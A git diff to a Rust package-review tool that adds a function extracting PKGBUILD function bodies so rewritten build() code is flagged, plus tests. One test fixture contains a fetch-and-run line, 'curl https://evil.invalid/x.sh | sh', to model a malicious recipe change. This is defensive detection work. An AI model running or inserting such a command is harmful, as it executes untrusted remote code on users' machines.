diff options
Diffstat (limited to 'src/recipe.rs')
| -rw-r--r-- | src/recipe.rs | 59 |
1 files changed, 59 insertions, 0 deletions
diff --git a/src/recipe.rs b/src/recipe.rs index 6c6666c..4ba6a6f 100644 --- a/src/recipe.rs +++ b/src/recipe.rs @@ -354,6 +354,42 @@ pub fn is_diffable(path: &str) -> bool { ) } +/// The executable part of a `PKGBUILD`: everything from the first function +/// definition onward. +/// +/// The variable assignments above the functions are metadata — a new version +/// string, another dependency. The functions are code that runs on this machine +/// and, through the package, on every machine that installs it. Reviewers and +/// the risk scorer both need that line drawn in the same place, so it is drawn +/// once here (§6 m-2): two copies had drifted, and the diff panel's version +/// compared only the function *header* lines, so a rewritten `build()` body +/// with the same function names showed the reviewer nothing. +pub fn pkgbuild_bodies(text: &str) -> String { + let mut out = String::new(); + let mut inside = false; + for line in text.lines() { + let t = line.trim_start(); + if t.starts_with("build()") + || t.starts_with("package") + || t.starts_with("prepare()") + || t.starts_with("check()") + { + inside = true; + } + if inside { + out.push_str(t); + out.push('\n'); + } + } + out +} + +/// True when the diff touches a function body rather than only the assignments +/// above them. +pub fn bodies_changed(old_src: &str, new_src: &str) -> bool { + pkgbuild_bodies(old_src) != pkgbuild_bodies(new_src) +} + /// `sha256sums=('SKIP')`: the recipe declining to verify a source (§5.3). pub const SKIP: &str = "SKIP"; @@ -393,6 +429,29 @@ pub fn skip_on_non_vcs(recipe: &Recipe) -> Vec<usize> { #[cfg(test)] mod tests { + + #[test] + fn a_rewritten_body_is_a_change_even_when_the_functions_are_named() { + // The drift this pins (§6 m-2): the diff panel used to compare only the + // function *header* lines, so a `build()` whose body was rewritten to + // `curl | sh` looked unchanged to the reviewer while the risk scorer, + // with its own copy of the rule, said otherwise. + let before = "pkgver=1.0\nbuild() {\n make\n}\npackage() {\n make install\n}\n"; + let after = "pkgver=1.0\nbuild() {\n curl https://evil.invalid/x.sh | sh\n}\npackage() {\n make install\n}\n"; + assert!(bodies_changed(before, after), "a rewritten build() body must read as code changing"); + assert!(!bodies_changed(before, before)); + // Metadata above the functions is not code. + let bumped = "pkgver=2.0\nbuild() {\n make\n}\npackage() {\n make install\n}\n"; + assert!(!bodies_changed(before, bumped), "a version bump is not a code change"); + } + + #[test] + fn bodies_start_at_the_first_function_and_run_to_the_end() { + let text = "pkgver=1.0\nsource=(x)\nbuild() {\n make\n}\n"; + assert_eq!(pkgbuild_bodies(text), "build() {\nmake\n}\n", "each line is trimmed, the bodies are compared as text"); + assert_eq!(pkgbuild_bodies("pkgver=1.0\n"), ""); + } + use super::*; #[test] |
